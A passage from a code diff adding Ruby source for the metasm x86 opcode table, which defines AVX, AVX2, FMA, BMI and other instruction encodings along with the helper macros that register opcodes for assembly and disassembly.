[0, 128, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrlw', [1, 128, 0x66, 0x0F], 0xD1, :mrmxmm + addop_vex('vpsrlw', [0, 128, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrld', [1, 128, 0x66, 0x0F], 0xD2, :mrmxmm + addop_vex('vpsrld', [0, 128, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrlq', [1, 128, 0x66, 0x0F], 0xD3, :mrmxmm + addop_vex('vpsrlq', [0, 128, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex('vpsrldq',[0, 128, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + + # dst==mem => no vreg + addop_vex 'vmovhps', [1, 128, nil, 0x0F], 0x16, :mrmxmm, :modrmA + addop_vex('vmovhps', [nil, 128, nil, 0x0F], 0x17, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex 'vmovlpd', [1, 128, 0x66, 0x0F], 0x12, :mrmxmm, :modrmA + addop_vex('vmovlpd', [nil, 128, 0x66, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex 'vmovlps', [1, 128, nil, 0x0F], 0x12, :mrmxmm, :modrmA + addop_vex('vmovlps', [nil, 128, nil, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } + + addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmA + addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmA + addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmA + addop_vex 'vbroadcastf128', [nil, 256, 0x66, 0x0F38, 0], 0x1A, :mrmymm, :modrmA + + # general-purpose register operations + addop_vex 'andn', [1, :vexvreg, 128, nil, 0x0F38], 0xF2, :mrm + addop_vex 'bextr', [2, :vexvreg, 128, nil, 0x0F38], 0xF7, :mrm + addop_vex 'blsi', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 3 + addop_vex 'blsmsk', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 2 + addop_vex 'blsr', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 1 + addop_vex 'bzhi', [2, :vexvreg, 128, nil, 0x0F38], 0xF5, :mrm + addop('lzcnt', [0x0F, 0xBD], :mrm) { |o| o.props[:needpfx] = 0xF3 } + addop_vex 'mulx', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF6, :mrm + addop_vex 'pdep', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF5, :mrm + addop_vex 'pext', [1, :vexvreg, 128, 0xF3, 0x0F38], 0xF5, :mrm + addop_vex 'rorx', [nil, 128, 0xF2, 0x0F3A], 0xF0, :mrm, :u8 + addop_vex 'sarx', [2, :vexvreg, 128, 0xF3, 0x0F38], 0xF7, :mrm + addop_vex 'shrx', [2, :vexvreg, 128, 0xF2, 0x0F38], 0xF7, :mrm + addop_vex 'shlx', [2, :vexvreg, 128, 0x66, 0x0F38], 0xF7, :mrm + addop('tzcnt', [0x0F, 0xBC], :mrm) { |o| o.props[:needpfx] = 0xF3 } + addop('invpcid', [0x0F, 0x38, 0x82], :mrm) { |o| o.props[:needpfx] = 0x66 } + addop 'rdrand', [0x0F, 0xC7], 6, :modrmR + addop 'rdseed', [0x0F, 0xC7], 7, :modrmR + addop('adcx', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0x66 } + addop('adox', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0xF3 } + + # fp16 + addop_vex 'vcvtph2ps', [nil, 128, 0x66, 0x0F38, 0], 0x13, :mrmxmm + addop_vex 'vcvtph2ps', [nil, 256, 0x66, 0x0F38, 0], 0x13, :mrmymm + addop_vex('vcvtps2ph', [nil, 128, 0x66, 0x0F3A, 0], 0x1D, :mrmxmm, :u8) { |o| o.args.reverse! } + addop_vex('vcvtps2ph', [nil, 256, 0x66, 0x0F3A, 0], 0x1D, :mrmymm, :u8) { |o| o.args.reverse! } + + # TSE + addop 'xabort', [0xC6, 0xF8], nil, :i8 # may :stopexec + addop 'xbegin', [0xC7, 0xF8], nil, :i # may :setip: xabortreturns to $_(xbegin) + off + addop 'xend', [0x0F, 0x01, 0xD5] + addop 'xtest', [0x0F, 0x01, 0xD6] + + # SMAP + addop 'clac', [0x0F, 0x01, 0xCA] + addop 'stac', [0x0F, 0x01, 0xCB] + end + + def init_avx2_only + init_cpu_constants + + add256 = {} + %w[packsswb pcmpgtb pcmpgtw pcmpgtd packuswb packssdw + pcmpeqb pcmpeqw pcmpeqd paddq pmullw psubusb psubusw + pminub pand paddusb paddusw pmaxub pandn pavgb pavgw + pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw + pmaxsw pxor pmuludq pmaddwd psadbw + psubb psubw psubd psubq paddb paddw paddd + phaddw phaddsw phaddd phsubw phsubsw phsubd + pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd + mpsadbw packusdw pblendw pcmpeqq + pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw + pmuldq pmulld pcmpgtq punpcklbw punpcklwd punpckldq + punpckhbw punpckhwd punpckhdq punpcklqdq punpckhqdq + ].each { |n| add256[n] = true } + + varg = Hash.new(1) + %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa + pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq + pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq + maskmovdqu].each { |n| add256[n] = true ; varg[n] = nil } + + cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, + :regxmm => :regymm, :modrmxmm => :modrmymm } + + # autopromote old sseX opcodes + @opcode_list.each { |o| + next if o.bin[0] != 0x0F or not add256[o.name] + + mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) + pp = o.props[:needpfx] + pp = 0x66 if o.props[:xmmx] + fpxlen = (mm == 0x0F ? 1 : 2) + + addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| + oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] + dbinlen = o.bin.length - oo.bin.length + o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } + o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } + } + } + + # promote special cases + addop_vex 'vpblendvb', [1, 256, 0x66, 0x0F3A, 0], 0x4C, :mrmymm, :i4ymm + addop_vex 'vpsllw', [1, 256, 0x66, 0x0F], 0xF1, :mrmymm + addop_vex('vpsllw', [0, 256, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpslld', [1, 256, 0x66, 0x0F], 0xF2, :mrmymm + addop_vex('vpslld', [0, 256, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsllq', [1, 256, 0x66, 0x0F], 0xF3, :mrmymm + addop_vex('vpsllq', [0, 256, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex('vpslldq',[0, 256, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsraw', [1, 256, 0x66, 0x0F], 0xE1, :mrmymm + addop_vex('vpsraw', [0, 256, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrad', [1, 256, 0x66, 0x0F], 0xE2, :mrmymm + addop_vex('vpsrad', [0, 256, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrlw', [1, 256, 0x66, 0x0F], 0xD1, :mrmymm + addop_vex('vpsrlw', [0, 256, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrld', [1, 256, 0x66, 0x0F], 0xD2, :mrmymm + addop_vex('vpsrld', [0, 256, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrlq', [1, 256, 0x66, 0x0F], 0xD3, :mrmymm + addop_vex('vpsrlq', [0, 256, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex('vpsrldq',[0, 256, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + + addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmR + addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmR + addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmR + addop_vex 'vbroadcasti128', [nil, 256, 0x66, 0x0F38, 0], 0x5A, :mrmymm, :modrmA + addop_vex 'vpblendd', [1, 128, 0x66, 0x0F3A, 0], 0x02, :mrmxmm, :u8 + addop_vex 'vpblendd', [1, 256, 0x66, 0x0F3A, 0], 0x02, :mrmymm, :u8 + addop_vex 'vpbroadcastb', [nil, 128, 0x66, 0x0F38, 0], 0x78, :mrmxmm + addop_vex 'vpbroadcastb', [nil, 256, 0x66, 0x0F38, 0], 0x78, :mrmymm + addop_vex 'vpbroadcastw', [nil, 128, 0x66, 0x0F38, 0], 0x79, :mrmxmm + addop_vex 'vpbroadcastw', [nil, 256, 0x66, 0x0F38, 0], 0x79, :mrmymm + addop_vex 'vpbroadcastd', [nil, 128, 0x66, 0x0F38, 0], 0x58, :mrmxmm + addop_vex 'vpbroadcastd', [nil, 256, 0x66, 0x0F38, 0], 0x58, :mrmymm + addop_vex 'vpbroadcastq', [nil, 128, 0x66, 0x0F38, 0], 0x59, :mrmxmm + addop_vex 'vpbroadcastq', [nil, 256, 0x66, 0x0F38, 0], 0x59, :mrmymm + addop_vex 'vpermd', [1, 256, 0x66, 0x0F38, 0], 0x36, :mrmymm + addop_vex 'vpermpd', [nil, 256, 0x66, 0x0F3A, 1], 0x01, :mrmymm, :u8 + addop_vex 'vpermps', [1, 256, 0x66, 0x0F38, 0], 0x16, :mrmymm, :u8 + addop_vex 'vpermq', [nil, 256, 0x66, 0x0F3A, 1], 0x00, :mrmymm, :u8 + addop_vex 'vperm2i128', [1, 256, 0x66, 0x0F3A, 0], 0x46, :mrmymm, :u8 + addop_vex 'vextracti128', [nil, 256, 0x66, 0x0F3A, 0], 0x39, :mrmymm, :u8 + addop_vex 'vinserti128', [1, 256, 0x66, 0x0F3A, 0], 0x38, :mrmymm, :u8 + addop_vex 'vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8C, :mrmxmm, :modrmA + addop_vex 'vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8C, :mrmymm, :modrmA + addop_vex 'vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8C, :mrmxmm, :modrmA + addop_vex 'vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8C, :mrmymm, :modrmA + addop_vex('vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex('vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } + addop_vex('vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex('vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } + addop_vex 'vpsllvd', [1, 128, 0x66, 0x0F38, 0], 0x47, :mrmxmm + addop_vex 'vpsllvq', [1, 128, 0x66, 0x0F38, 1], 0x47, :mrmxmm + addop_vex 'vpsllvd', [1, 256, 0x66, 0x0F38, 0], 0x47, :mrmymm + addop_vex 'vpsllvq', [1, 256, 0x66, 0x0F38, 1], 0x47, :mrmymm + addop_vex 'vpsravd', [1, 128, 0x66, 0x0F38, 0], 0x46, :mrmxmm + addop_vex 'vpsravd', [1, 256, 0x66, 0x0F38, 0], 0x46, :mrmymm + addop_vex 'vpsrlvd', [1, 128, 0x66, 0x0F38, 0], 0x45, :mrmxmm + addop_vex 'vpsrlvq', [1, 128, 0x66, 0x0F38, 1], 0x45, :mrmxmm + addop_vex 'vpsrlvd', [1, 256, 0x66, 0x0F38, 0], 0x45, :mrmymm + addop_vex 'vpsrlvq', [1, 256, 0x66, 0x0F38, 1], 0x45, :mrmymm + + addop_vex('vpgatherdd', [2, 128, 0x66, 0x0F38, 0], 0x90, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherdd', [2, 256, 0x66, 0x0F38, 0], 0x90, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vpgatherdq', [2, 128, 0x66, 0x0F38, 1], 0x90, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherdq', [2, 256, 0x66, 0x0F38, 1], 0x90, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + addop_vex('vpgatherqd', [2, 128, 0x66, 0x0F38, 0], 0x91, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherqd', [2, 256, 0x66, 0x0F38, 0], 0x91, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vpgatherqq', [2, 128, 0x66, 0x0F38, 1], 0x91, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherqq', [2, 256, 0x66, 0x0F38, 1], 0x91, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherdps', [2, 128, 0x66, 0x0F38, 0], 0x92, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherdps', [2, 256, 0x66, 0x0F38, 0], 0x92, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherdpd', [2, 128, 0x66, 0x0F38, 1], 0x92, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherdpd', [2, 256, 0x66, 0x0F38, 1], 0x92, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherqps', [2, 128, 0x66, 0x0F38, 0], 0x93, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherqps', [2, 256, 0x66, 0x0F38, 0], 0x93, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherqpd', [2, 128, 0x66, 0x0F38, 1], 0x93, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherqpd', [2, 256, 0x66, 0x0F38, 1], 0x93, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + end + + def init_fma_only + init_cpu_constants + + [['vfmaddsub', 'p', 0x86], + ['vfmsubadd', 'p', 0x87], + ['vfmadd', 'p', 0x88], + ['vfmadd', 's', 0x89], + ['vfmsub', 'p', 0x8A], + ['vfmsub', 's', 0x8B], + ['vfnmadd', 'p', 0x8C], + ['vfnmadd', 's', 0x8D], + ['vfnmsub', 'p', 0x8E], + ['vfnmsub', 's', 0x8F]].each { |n1, n2, bin| + addop_vex n1 + '132' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm + addop_vex n1 + '132' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm + addop_vex n1 + '132' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm + addop_vex n1 + '132' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm + addop_vex n1 + '213' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm + addop_vex n1 + '213' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm + addop_vex n1 + '213' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm + addop_vex n1 + '213' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm + addop_vex n1 + '231' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm + addop_vex n1 + '231' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm + addop_vex n1 + '231' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm + addop_vex n1 + '231' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm + + # pseudo-opcodes aliases (swap arg0/arg1) + addop_vex(n1 + '312' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '312' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '312' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '312' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + } + end + + # + # CPU family dependencies + # + + def init_386_common + init_386_common_only + end + + def init_386 + init_386_common + init_386_only + end + + def init_387 + init_387_only + end + + def init_486 + init_386 + init_387 + init_486_only + end + + def init_pentium + init_486 + init_pentium_only + end + + def init_3dnow + init_pentium + init_3dnow_only + end + + def init_p6 + init_pentium + init_p6_only + end + + def init_sse + init_p6 + init_sse_only + end + + def init_sse2 + init_sse + init_sse2_only + end + + def init_sse3 + init_sse2 + init_sse3_only + end + + def init_ssse3 + init_sse3 + init_ssse3_only + end + + def init_sse41 + init_ssse3 + init_sse41_only + end + + def init_sse42 + init_sse41 + init_sse42_only + end + + def init_avx + init_sse42 + init_avx_only + end + + def init_avx2 + init_avx + init_fma_only + init_avx2_only + end + + def init_all + init_avx2 + init_3dnow_only + init_vmx_only + init_aesni_only + end + + alias init_latest init_all + + + # + # addop_* macros + # + + def addop_macro1(name, num, *props) + addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, :i, *props + addop(name, [num << 3], :mrmw, {:d => [0, 1]}) { |o| o.args.reverse! } + addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, :i, *props + end + def addop_macro2(name, num) + addop name, [0x0F, 0xBA], (4 | num), :u8 + addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! } + end + def addop_macro3(name, num) + addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1 + addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl + addop name, [0xC0], num, {:w => [0, 0]}, :u8 + end + + def addop_macrotttn(name, bin, hint, *props, &blk) + [%w{o}, %w{no}, %w{b nae c}, %w{nb ae nc}, + %w{z e}, %w{nz ne}, %w{be na}, %w{nbe a}, + %w{s}, %w{ns}, %w{p pe}, %w{np po}, + %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i| + b = bin.dup + if b[0] == 0x0F + b[1] |= i + else + b[0] |= i + end + + e.each { |k| addop(name + k, b.dup, hint, *props, &blk) } + } + end + + def addop_macrostr(name, bin, type) + # addop(name, bin.dup, {:w => [0, 0]}) { |o| o.props[type] = true } # TODO allow segment override + addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } + addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } + bin = bin.dup + bin[0] |= 1 + addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } + addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } + end + + def addop_macrofpu1(name, n) + addop(name, [0xD8, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop(name, [0xDC, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop(name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]}) { |o| o.args.reverse! } + end + def addop_macrofpu2(name, n, n2=0) + addop(name, [0xDE|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 16 } + addop(name, [0xDA|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + end + def addop_macrofpu3(name, n) + addop_macrofpu2 name, n, 1 + addop(name, [0xDF, 0x28|(n<<3)], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + end + + def addop_macrogg(ggrng, name, bin, *args, &blk) + ggoff = 1 + ggoff = 2 if bin[1] == 0x38 or bin[1] == 0x3A + ggrng.each { |gg| + bindup = bin.dup + bindup[ggoff] |= gg + sfx = %w(b w d q)[gg] + addop name+sfx, bindup, *args, &blk + } + end + + def addop_macrossps(name, bin, hint, *a) + addop name, bin.dup, hint, *a + addop(name.sub(/ps$/, 'ss'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF3 } + end + + def addop_macrosdpd(name, bin, hint, *a) + addop(name, bin.dup, hint, *a) { |o| o.props[:needpfx] = 0x66 } + addop(name.sub(/pd$/, 'sd'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF2 } + end + + # special ret (iret/retf), that still default to 32b mode in x64 + def addop_macroret(name, bin, *args) + addop(name + '.i32', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 32 } + addop(name + '.i16', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 16 } if name != 'sysret' + addop(name, bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = @size } + end + + # add an AVX instruction needing a VEX prefix (c4h/c5h) + # the prefix is hardcoded + def addop_vex(name, vexspec, bin, *args) + argnr = vexspec.shift + argt = vexspec.shift if argnr and vexspec.first.kind_of?(::Symbol) + l = vexspec.shift + pfx = vexspec.shift + of = vexspec.shift + w = vexspec.shift + argt ||= (l == 128 ? :vexvxmm : :vexvymm) + + lpp = ((l >> 8) << 2) | [nil, 0x66, 0xF3, 0xF2].index(pfx) + mmmmm = [nil, 0x0F, 0x0F38, 0x0F3A].index(of) + + c4bin = [0xC4, mmmmm, lpp, bin] + c4bin[1] |= 1 << 7 if @size != 64 + c4bin[1] |= 1 << 6 if @size != 64 + c4bin[2] |= 1 << 7 if w == 1 + c4bin[2] |= 0xF << 3 if not argnr + + addop(name, c4bin, *args) { |o| + o.args.insert(argnr, argt) if argnr + + o.fields[:vex_r] = [1, 7] if @size == 64 + o.fields[:vex_x] = [1, 6] if @size == 64 + o.fields[:vex_b] = [1, 5] + o.fields[:vex_w] = [2, 7] if not w + o.fields[:vex_vvvv] = [2, 3] if argnr + + yield o if block_given? + } + + return if w == 1 or mmmmm != 1 + + c5bin = [0xC5, lpp, bin] + c5bin[1] |= 1 << 7 if @size != 64 + c5bin[1] |= 0xF << 3 if not argnr + + addop(name, c5bin, *args) { |o| + o.args.insert(argnr, argt) if argnr + + o.fields[:vex_r] = [1, 7] if @size == 64 + o.fields[:vex_vvvv] = [1, 3] if argnr + + yield o if block_given? + } + end + + # helper function: creates a new Opcode based on the arguments, eventually + # yields it for further customisation, and append it to the instruction set + # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding) + def addop(name, bin, hint=nil, *argprops) + fields = (argprops.first.kind_of?(Hash) ? argprops.shift : {}) + op = Opcode.new name, bin + op.fields.replace fields + + case hint + when nil + + when :mrm, :mrmw, :mrmA + op.fields[:reg] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + op.fields[:w] = [bin.length - 1, 0] if hint == :mrmw + argprops.unshift :reg, :modrm + argprops << :modrmA if hint == :mrmA + op.bin << 0 + when :reg + op.fields[:reg] = [bin.length-1, 0] + argprops.unshift :reg + when :regfp + op.fields[:regfp] = [bin.length-1, 0] + argprops.unshift :regfp, :regfp0 + when :modrmA + op.fields[:modrm] = [bin.length-1, 0] + argprops << :modrm << :modrmA + + when Integer # mod/m, reg == opcode extension = hint + op.fields[:modrm] = [bin.length, 0] + op.bin << (hint << 3) + argprops.unshift :modrm + + when :mrmmmx + op.fields[:regmmx] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + bin << 0 + argprops.unshift :regmmx, :modrmmmx + when :mrmxmm + op.fields[:regxmm] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + bin << 0 + argprops.unshift :regxmm, :modrmxmm + when :mrmymm + op.fields[:regymm] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + bin << 0 + argprops.unshift :regymm, :modrmymm + else + raise SyntaxError, "invalid hint #{hint.inspect} for #{name}" + end + + argprops.each { |a| + op.props[a] = true if @valid_props[a] + op.args << a if @valid_args[a] + } + + yield op if block_given? + + if $DEBUG + argprops -= @valid_props.keys + @valid_args.keys + raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty? + + argprops = (op.props.keys - @valid_props.keys) + (op.args - @valid_args.keys) + (op.fields.keys - @fields_mask.keys) + raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty? + end + + addop_post(op) + end + + # this recursive method is in charge of Opcode duplication (eg to hardcode some flag) + def addop_post(op) + if df = op.fields.delete(:d) + # hardcode the bit + dop = op.dup + addop_post dop + + op.bin[df[0]] |= 1 << df[1] + op.args.reverse! + addop_post op + + return + elsif wf = op.fields.delete(:w) + # hardcode the bit + dop = op.dup + dop.props[:argsz] = 8 + # 64-bit w=0 s=1 => UD + dop.fields.delete(:s) if @size == 64 + addop_post dop + + op.bin[wf[0]] |= 1 << wf[1] + addop_post op + + return + elsif sf = op.fields.delete(:s) + # add explicit choice versions, with lower precedence (so that disassembling will return the general version) + # eg "jmp", "jmp.i8", "jmp.i" + # also hardcode the bit + op32 = op + addop_post op32 + + op8 = op.dup + op8.bin[sf[0]] |= 1 << sf[1] + op8.args.map! { |arg| arg == :i ? :i8 : arg } + addop_post op8 + + op32 = op32.dup + op32.name << '.i' + addop_post op32 + + op8 = op8.dup + op8.name << '.i8' + addop_post op8 + + return + elsif op.args.first == :regfp0 + dop = op.dup + dop.args.delete :regfp0 + addop_post dop + end + + if op.props[:needpfx] + @opcode_list.unshift op + else + @opcode_list << op + end + + if (op.args == [:i] or op.args == [:farptr] or op.name == 'ret') and op.name !~ /\.i/ + # define opsz-override version for ambiguous opcodes + op16 = op.dup + op16.name << '.i16' + op16.props[:opsz] = 16 + @opcode_list << op16 + op32 = op.dup + op32.name << '.i32' + op32.props[:opsz] = 32 + @opcode_list << op32 + elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or + op.args.include? :modrm or op.name =~ /loop|xlat/ + # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax) + # XXX loop pfx 67 = eip+cx, 66 = ip+ecx + op16 = op.dup + op16.name << '.a16' + op16.props[:adsz] = 16 + @opcode_list << op16 + op32 = op.dup + op32.name << '.a32' + op32.props[:adsz] = 32 + @opcode_list << op32 + end + end +end +end diff --git a/lib/metasm/metasm/ia32/parse.rb 